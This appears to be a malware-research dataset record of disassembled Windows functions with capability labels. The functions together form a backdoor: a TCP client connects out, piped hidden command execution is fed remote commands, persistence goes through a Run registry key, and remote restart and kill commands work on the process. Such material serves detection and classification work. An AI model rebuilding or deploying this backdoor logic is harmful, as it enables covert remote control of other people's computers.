joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4012eb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x516ccc], 1
mov dword [0x516cd0], 1
mov dword [0x516cd4], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40132c
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40134f
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401371
cmp eax, 0x20b
je 0x401396
jmp 0x4013c1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401383
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x4013ae
mov eax, 0
jmp 0x4013c6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4013c6
mov eax, 0
leave
ret

Function at 0x40197e
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x8c], ecx
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea eax, [ebp - 0x34]
mov dword [esp], eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 1
mov eax, dword [ebp + 8]
mov ecx, eax
call fcn.00436140
lea edx, [ebp - 0x38]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x34]
mov dword [esp + 8], edx
mov dword [esp + 4], str.http
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_getaddrinfo]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
setne al
test al, al
je 0x401a28
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.00404b98
mov ebx, eax
mov dword [esp], 2
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call eax
mov dword [esp + 8], ebx
mov dword [esp + 4], str.getaddrinfo:__s_n
mov dword [esp], eax
call fcn.00401590
mov eax, 0
jmp 0x401a9c
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xc], eax
jmp 0x401a6e
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 4]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_ntoa]
call eax
sub esp, 4
mov dword [esp + 8], eax
mov dword [esp + 4], 0x41
lea eax, [ebp - 0x79]
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
call eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401a30
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_freeaddrinfo]
call eax
sub esp, 4
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x79]
mov dword [esp], edx
mov ecx, eax
call fcn.004a7088
sub esp, 4
mov eax, 1
mov ebx, dword [ebp - 4]
leave
ret 4
Function at 0x401b74
Capabilities:
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1c4
mov dword [ebp - 0x1ac], ecx
mov eax, dword [ebp - 0x1ac]
mov ecx, eax
call fcn.00429630
mov word [ebp - 0xa], 0x102
movzx eax, word [ebp - 0xa]
lea edx, [ebp - 0x19c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
setne al
test al, al
je 0x401bc7
mov dword [esp], 0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [ebp - 0x1ac]
mov edx, dword [ebp + 8]
mov dword [esp], edx
mov ecx, eax
call fcn.0040197e
sub esp, 4
mov eax, dword [ebp + 8]
mov ecx, eax
call fcn.00436140
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov edx, dword [ebp - 0x1ac]
mov dword [edx + 0x2234], eax
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov edx, dword [ebp - 0x1ac]
mov word [edx + 0x2232], ax
mov eax, dword [ebp - 0x1ac]
mov word [eax + 0x2230], 2
mov eax, dword [ebp - 0x1ac]
mov dword [0x516040], eax
jmp 0x401c55
mov ebx, dword [ebp - 4]
leave
ret 8

Function at 0x401c5c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], ecx
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x222c], eax
mov eax, dword [ebp - 0xc]
lea edx, [eax + 0x2230]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x222c]
mov dword [esp + 8], 0x10
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
test eax, eax
setne al
test al, al
je 0x401cca
mov eax, 0
jmp 0x401d0c
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x401924
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
call eax
mov byte [0x516044], 1
mov eax, 1
leave
ret
Function at 0x401df8
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x44
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, dword [ebp - 0x2c]
mov dword [eax + 4], 0
mov eax, dword [ebp - 0x2c]
mov dword [eax + 8], 0
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0xc], 0
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x10], 0xc
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x18], 1
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0x2c]
lea ecx, [eax + 0x10]
mov eax, dword [ebp - 0x2c]
lea edx, [eax + 0xc]
mov eax, dword [ebp - 0x2c]
add eax, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreatePipe]
call eax
sub esp, 0x10
test eax, eax
sete al
test al, al
je 0x401e93
mov dword [esp + 4], 0
mov dword [esp], 3
call fcn.0040311c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 8]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
call eax
sub esp, 0xc
test eax, eax
sete al
test al, al
je 0x401ed3
mov dword [esp + 4], 0
mov dword [esp], 3
call fcn.0040311c
mov eax, dword [ebp - 0x2c]
lea ecx, [eax + 0x10]
mov eax, dword [ebp - 0x2c]
lea edx, [eax + 4]
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreatePipe]
call eax
sub esp, 0x10
test eax, eax
sete al
test al, al
je 0x401f1c
mov dword [esp + 4], 0
mov dword [esp], 3
call fcn.0040311c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 4]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
call eax
sub esp, 0xc
test eax, eax
sete al
test al, al
je 0x401f5c
mov dword [esp + 4], 0
mov dword [esp], 3
call fcn.0040311c
lea eax, [ebp - 0x20]
mov edx, dword [ebp + 8]
mov dword [esp], edx
mov ecx, eax
call fcn.004a6024
sub esp, 4
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x20]
mov dword [esp], edx
mov ecx, eax
call fcn.004023e0
sub esp, 4
lea eax, [ebp - 0x20]
mov ecx, eax
call fcn.004a6e10
mov eax, dword [ebp - 0x2c]
mov dword [0x516048], eax
jmp 0x401fac
mov ebx, dword [ebp - 4]
leave
ret 4
Function at 0x40225e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x94
mov dword [ebp - 0x6c], ecx
movzx eax, byte [0x51604c]
test al, al
je 0x40234d
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp + 8]
mov dword [esp], 0xa
mov ecx, eax
call fcn.004a7290
sub esp, 4
mov eax, dword [ebp + 8]
mov ecx, eax
call fcn.00436110
mov ebx, eax
mov eax, dword [ebp + 8]
mov ecx, eax
call fcn.00436140
mov edx, dword [ebp - 0x6c]
mov ecx, dword [edx + 4]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x5c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], ecx
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x4023d8
mov ebx, dword [0x516040]
lea eax, [ebp - 0x40]
mov edx, dword [ebp + 8]
mov dword [esp + 8], edx
mov dword [esp + 4], str.Couldnt_write_command_
mov dword [esp], eax
call fcn.004b6e04
lea eax, [ebp - 0x58]
mov dword [esp + 8], str._to_stdIn.
lea edx, [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004b6d54
mov dword [esp + 4], 2
lea eax, [ebp - 0x58]
mov dword [esp], eax
mov ecx, ebx
call fcn.00404926
sub esp, 8
lea eax, [ebp - 0x58]
mov ecx, eax
call fcn.004a6e10
lea eax, [ebp - 0x40]
mov ecx, eax
call fcn.004a6e10
jmp 0x4023d8
mov ebx, dword [0x516040]
lea eax, [ebp - 0xd]
mov dword [ebp - 0xc], eax
nop
nop
lea eax, [ebp - 0x28]
lea edx, [ebp - 0xd]
mov dword [esp + 4], edx
mov dword [esp], str.Couldnt_write_to_CMD:_CMD_not_open
mov ecx, eax
call fcn.004a6560
sub esp, 8
mov dword [esp + 4], 2
lea eax, [ebp - 0x28]
mov dword [esp], eax
mov ecx, ebx
call fcn.00404926
sub esp, 8
lea eax, [ebp - 0x28]
mov ecx, eax
call fcn.004a6e10
nop
jmp 0x4023d8
nop
mov ebx, dword [ebp - 4]
leave
ret 4
Function at 0x4023e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x60]
mov dword [esp], eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [ebp - 0x60], 0x44
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x34]
or ah, 1
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov ecx, eax
call fcn.00436140
lea edx, [ebp - 0x1c]
mov dword [esp + 0x24], edx
lea edx, [ebp - 0x60]
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4024cf
mov dword [esp + 4], 0
mov dword [esp], 3
call fcn.0040311c
jmp 0x4024ef
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [0x516050], eax
mov eax, dword [ebp - 0x18]
mov dword [0x516054], eax
nop
leave
ret 4

Function at 0x402a54
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402af3
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402aec
mov eax, 1
jmp 0x402af8
mov eax, 0
jmp 0x402af8
mov eax, 0
leave
ret
Function at 0x402afa
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0x208
lea eax, [ebp - 0x42c]
mov edx, 0x410
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [esp + 8], 0x4c53c0
mov dword [esp + 4], 0x208
lea eax, [ebp - 0x42c]
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
call eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x208
lea eax, [ebp - 0x42c]
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
call eax
mov dword [esp + 8], 0x4c53c4
mov dword [esp + 4], 0x208
lea eax, [ebp - 0x42c]
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
call eax
cmp dword [ebp + 0x10], 0
je 0x402bbb
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x208
lea eax, [ebp - 0x42c]
mov dword [esp], eax
mov eax, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
call eax
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x2001f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x4c53cc
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
call eax
sub esp, 0x24
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
sete al
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x402c77
lea eax, [ebp - 0x42c]
mov dword [esp], eax
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
inc eax
add eax, eax
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x42c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov dword [esp], edx
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
sete al
mov byte [ebp - 9], al
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x402c95
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [ebp - 0x1c], 0
movzx eax, byte [ebp - 9]
leave
ret

Function at 0x402c9c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x402cc2
mov eax, 0
jmp 0x402cc7
mov eax, 1
leave
ret
Function at 0x40305e
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [ebp - 0x4c], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea eax, [ebp - 0x5c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
nop
leave
ret
Function at 0x40370c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov ebx, dword [0x516040]
lea eax, [ebp - 0xd]
mov dword [ebp - 0xc], eax
nop
nop
lea eax, [ebp - 0x28]
lea edx, [ebp - 0xd]
mov dword [esp + 4], edx
mov dword [esp], str.Restart_requested:_Restarting_self
mov ecx, eax
call fcn.004a6560
sub esp, 8
mov dword [esp + 4], 2
lea eax, [ebp - 0x28]
mov dword [esp], eax
mov ecx, ebx
call fcn.00404926
sub esp, 8
lea eax, [ebp - 0x28]
mov ecx, eax
call fcn.004a6e10
nop
mov ecx, 0x4c3014
call fcn.00436140
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.0040305e
mov dword [esp], 0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov ebx, eax
lea eax, [ebp - 0x28]
mov ecx, eax
call fcn.004a6e10
mov eax, ebx
jmp 0x403795
nop
mov dword [esp], eax
call fcn.004127e0

Function at 0x40379e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x34
mov ebx, dword [0x516040]
lea eax, [ebp - 0xd]
mov dword [ebp - 0xc], eax
nop
nop
lea eax, [ebp - 0x28]
lea edx, [ebp - 0xd]
mov dword [esp + 4], edx
mov dword [esp], str.Termination_requested:_Killing_self
mov ecx, eax
call fcn.004a6560
sub esp, 8
mov dword [esp + 4], 2
lea eax, [ebp - 0x28]
mov dword [esp], eax
mov ecx, ebx
call fcn.00404926
sub esp, 8
lea eax, [ebp - 0x28]
mov ecx, eax
call fcn.004a6e10
nop
mov eax, dword [0x516040]
mov ecx, eax
call fcn.00401d0e
mov dword [esp], 0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov ebx, eax
lea eax, [ebp - 0x28]
mov ecx, eax
call fcn.004a6e10
mov eax, ebx
jmp 0x403819
nop
mov dword [esp], eax
call fcn.004127e0
push ebp
mov ebp, esp
push ebx
sub esp, 0x164
movzx eax, byte [0x4c311a]
test al, al
je 0x403968
lea eax, [ebp - 0x150]
mov ecx, eax
call fcn.00494c80
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x4c545b
mov dword [esp + 4], 0x4c302c
mov dword [esp], eax
call fcn.004b6e80
lea eax, [ebp - 0x50]
mov dword [esp + 8], 0x4c30d0
lea edx, [ebp - 0x38]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004b6d8c
lea eax, [ebp - 0x150]
mov dword [esp + 4], 1
lea edx, [ebp - 0x50]
mov dword [esp], edx
mov ecx, eax
call fcn.00494700
sub esp, 8
lea eax, [ebp - 0x50]
mov ecx, eax
call fcn.004a6e10
lea eax, [ebp - 0x38]
mov ecx, eax
call fcn.004a6e10
lea eax, [ebp - 0x20]
mov dword [esp], eax
call fcn.00402fe0
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
lea eax, [ebp - 0x150]
mov dword [esp], eax
call fcn.004b6910
mov dword [esp + 4], 0x4c5648
mov dword [esp], eax
call fcn.004b6610
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004b6910
mov dword [esp], 0x4b4b80
mov ecx, eax
call fcn.00479120
sub esp, 4
lea eax, [ebp - 0x20]
mov ecx, eax
call fcn.004a6e10
lea eax, [ebp - 0x150]
mov ecx, eax
call fcn.00494800
lea eax, [ebp - 0x150]
mov ecx, eax
call fcn.004951b0
jmp 0x403968
nop
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x404738
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0xc], 0
jmp 0x404794
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add ecx, edx
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx + 0x222c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40478e
mov eax, 0
jmp 0x4047a1
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jl 0x40474a
mov eax, 1
leave
ret 8

Function at 0x4047a6
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0xc], 0
jmp 0x404802
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add ecx, edx
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx + 0x222c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4047fc
mov eax, 0
jmp 0x40480f
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jl 0x4047b8
mov eax, 1
leave
ret 8

Function at 0x40e894
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0041d780
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort

Function at 0x40f468
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40f487
mov eax, 0
jmp 0x40f4cb
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40f4aa
mov eax, 0
jmp 0x40f4cb
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x40f4c6
mov eax, 0
jmp 0x40f4cb
mov eax, 1
leave
ret
Function at 0x40f4cd
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x40f52c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x40f524
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x40f524
mov eax, dword [ebp - 4]
jmp 0x40f540
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x40f501
mov eax, 0
leave
ret